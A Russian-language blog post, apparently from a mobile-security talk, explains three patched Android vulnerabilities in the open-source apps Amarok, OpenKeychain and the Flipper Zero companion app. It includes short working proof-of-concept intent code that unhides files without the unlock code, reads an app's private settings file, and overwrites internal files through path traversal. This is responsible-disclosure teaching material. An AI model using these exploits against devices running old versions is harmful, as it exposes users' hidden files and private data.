В рамках стажировки PT Start от компании Positive Technologies поучаствовал в роли спикера на интенсиве по безопасности мобильных приложений. Всего, что там происходило в паблик не раскрою, но разбор трех уязвимостей, про которые рассказывал студентам, покажу. Две из них нашел я сам, а третья просто показалась мне очень интересной по ряду причин, которые станут понятны далее.
Стоит сказать, что все приложения о которых пойдет речь — это проекты с открытым исходным кодом. Искать уязвимости в таких проектах одно удовольствие. Никакой тебе обфускации и прочих страданий, можно запустить отладку чтобы лучше понять как работает тот или иной кусок приложения. В общем красота. Всем рекомендую.
Amarok
Приложение помогает скрывать файлы на устройстве, но честно заявляет что оно их именно скрывает от посторонних глаз, а не шифрует. Впрочем иногда достаточно и этой меры. Я набрел на это приложение в очередной раз листая раздел Security на F-Droid. Описание показалось мне интересным, да и сразу появились идеи что там может быть не так. Приложение получило ~1.3k
звезд на гитхабе, что не выглядело как совсем никому не нужный проект, и я начал его смотреть.
У приложения есть такие настройки безопасности:
Если пароль установлен, то при приложение будет его запрашивать при запуске и не позволит управлять видимостью файлов без этого знания:
|
|
До версии 0.8.6a1
в нем была уязвимость, которая позволяла отключить скрытие файлов без ввода кода разблокировки. Это стало возможным благодаря отсутствию проверок в классе ActionReceiver
, который определен в манифесте следующим образом:
<receiver
android:name=".receivers.ActionReceiver"
android:enabled="true"
android:exported="true"
tools:ignore="ExportedReceiver">
<intent-filter>
<action android:name="deltazero.amarok.HIDE" />
<action android:name="deltazero.amarok.UNHIDE" />
</intent-filter>
</receiver>
Здесь сразу бросаются в глаза две вещи:
- receiver экспортирован
- есть кастомные action-ы на которые он реагирует
Проанализируем что можно сделать с этим receiver-ом:
|
|
При получении intent-а от другого приложения проверяется поле action
и далее объект hider
выполняет скрытие или отображение файлов. Таким образом, злоумышленник может отправить такой intent из своего приложения и отключить скрытие файлов:
val intent = Intent("deltazero.amarok.UNHIDE")
intent.setPackage("deltazero.amarok.foss")
sendBroadcast(intent)
После получения отчета, разработчик написал что не уверен, будет он исправлять эту уязвимость или нет, но в итоге исправил. При этом забыв хоть как-то упомянуть меня. Но может оно и к лучшему 😃
Ссылки:
OpenKeychain
Приложение для управления ключами OpenPGP. Встроено в некоторые сборки Android в качестве системного. Так оно собственно и попало ко мне на анализ. Это был очень интересный и сложный проект в ходе которого нужно было проанализировать защищенность одного устройства с кастомной сборкой Android. Возможно когда-нибудь я смогу рассказать эту историю полностью. А пока поговорим про OpenKeychain.
В приложении есть возможность шифрования передаваемого ему текста из других приложений. Для этого используется EncryptTextActivity
, которая может работать в одном из трех режимов:
- Текст считывается из параметра
org.sufficientlysecure.keychain.EXTRA_TEXT
- Текст читается из файла по URI передаваемому в параметре
android.intent.extra.STREAM
- Текст считывается из параметров
android.intent.extra.PROCESS_TEXT
илиandroid.intent.extra.PROCESS_TEXT_READONLY
|
|
В версии 5.8.2
второй режим был уязвим из-за отсутствия проверок на URI схему file://
и проверок доступа к запрашиваемому ресурсу, в резульате чего происходило чтение файла по переданному URI. Опасность уязвимости несколько снижается из-за кода обрезающего вывод до 51200 символов(строки 27-28), но извлечь что-то полезное даже из бинарных файлов все еще возможно:
StrictMode.setVmPolicy(StrictMode.VmPolicy.LAX);
val i = Intent(Intent.ACTION_SEND).apply {
setClassName(
"org.sufficientlysecure.keychain",
"org.sufficientlysecure.keychain.ui.EncryptTextActivity"
)
type = "text/plain"
putExtra(
"android.intent.extra.STREAM",
Uri.parse("file:///data/user/0/org.sufficientlysecure.keychain/shared_prefs/APG.main.xml")
)
}
startActivity(i)
Результат работы эксплойта:
Файл выгружается в зашифрованном виде, но поскольку злоумышленник сам задает ключ шифрования, то и данные он сможет расшифровать. Так выглядит выгруженный в файл текст:
-----BEGIN PGP MESSAGE-----
jA0ECQMCJnKqvXg0IX1g0sGFAaQdp4xF083NaR39fdke354F/+jzqtBYmsfttt2L
XLzAlpIf986aHx6Czsu4UlplAlB863zwr28pny91UXHeLQ7F2aHaDDNSWWN/Y0No
8oBTqydEpuCR6LAktg14npct8YvhQ5rdjfuLDcP6zq+xbcVlZU8DA1Osjr04MFEg
ZXTV/glh7MTc/t7F6DGkkrwAryoK4KEqA/9hutrwUJnJ59kFl8N8cESX+scDEwMA
N5jN2BAzHjP8tTpL7B+dgoNYco6e9XgKBytsCFyg3tMVoiKD/6umlnJPavfxyYfv
6VuuiVFDGG+patsEa+uGSmjE9/Xnq9nT54vv+u1Nfi2fL6HJdksuO1gsE4GvUp9O
vquwPq3+K5l/2fLjFhiHuF1yDT1W+vA23mjDuf2qDwcp3jJkCVCYRqnWX46D65Ec
CVrWHA41xwNEK6O/GlDNQLltBVIlYHmZw8WCFzCRYnJ6HT3mDjXstxSiOK4JAuJr
83McTaFcDRmRTnITtgzt/anL+wRjN2Vdg8URzOD/fV+3KDjFlZsS6gg2AXbAYh85
6lbH6F+z6Kybh7iXKiqhwBXNZk+CCJV2cMPWIDE1soVZLrHicTbT7d6h0LvCo4di
kMwpzz8NpHlTvEBx6WDMG2dMVktWWORZoQT4+VXpvzQ+FDXcc6quNKATC8QM0chT
IbcGP2N88fFSu8zR5nYNOFUNF5I3rlja/PJs3W9oEqhpsJ5id/YXkY8yBfI/7eGl
fXzOeB00tPF1QRVSHhTU0F1+IJB1LRw=
=IRpZ
-----END PGP MESSAGE-----
И результат его расшифровки:
Разработчик исправил уязвимость, но по каким-то неведомым причинам забил болт на написание адвайзори, что не позволило получить CVE за нее.
Впрочем наличие исправления уже является достаточным основанием для получения иденификатора BDU, и было решено выжать из этой истории хотя бы его.
Ссылки:
Flipper Android App
Приложение-компаньон для хакерского мультитула Flipper Zero. Давно хотел поискать в нем уязвимости, но меня опередили 😅 Впрочем никто не мешает мне сделать разбор, потому что бага вышла и правда интересная. А еще более интересно то, что она возникла в таком круто написанном софте.
В приложении есть механизм обработки диплинков, который помимо собственно диплинков еще занимается обработкой прилетающих от других приложений файлов. За обработку отвечает класс DeepLinkFileUriCopy
, который создает в кэше временный файл копируя туда содержимое переданного файла и возвращает ссылку на этот файл вызывающему классу.
В версии 1.7.0
была уязвимость позволяющая любому внешнему приложения создавать или удалять произвольные файлы во внутренней директории приложения:
|
|
Из кода видно, что для имени файла контролируемого злоумышленником не проводится санитизация, что позволяет манипулировать путем по которому сохраняется временный файл с помощью символов обхода директории. Для проведения атаки злоумышленнику нужно создать в своем приложении ContentProvider со следующим содержимым:
|
|
Метод query
срабатывает когда приложение пытается отрезолвить имя файла через uri.filename(contentResolver)
, а позднее, когда вызывается contentResolver.openInputStream(uri)
стабатывает метод openFile
и возвращает и предоставляет данные для перезаписи.
Для запуска цепочки эксплуатации нужно отправить такой intent в приложение Flipper-а:
Intent intent = new Intent();
intent.setClassName("com.flipperdevices.app", "com.flipperdevices.singleactivity.impl.SingleActivity");
intent.setAction(Intent.ACTION_SEND);
intent.addCategory(Intent.CATEGORY_DEFAULT);
intent.setDataAndType(Uri.parse("content://io.hextree.flipperdown.provider/write"),"text/*");
intent.putExtra(Intent.EXTRA_STREAM, Uri.parse("content://io.hextree.flipperdown.provider/xxx"));
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(intent);
В результате срабатывания эксплойта, файл настроек pair_settings.pb
будет удален, а вместо него появится файл hextree.io
Уязвимость была довольно оперативно запатчена:
Мне понравился комментарий разработчика приложения по поводу этой уязвимости в одном из приватных чатов:
Мудрость дня: проверяйте несколько раз данные, получаемые в интентах и contentproviders Почему-то был уверен что я-то на это не попадусь, а вот попался
Ни добавить ни убавить, как говорится 😀
Ссылки: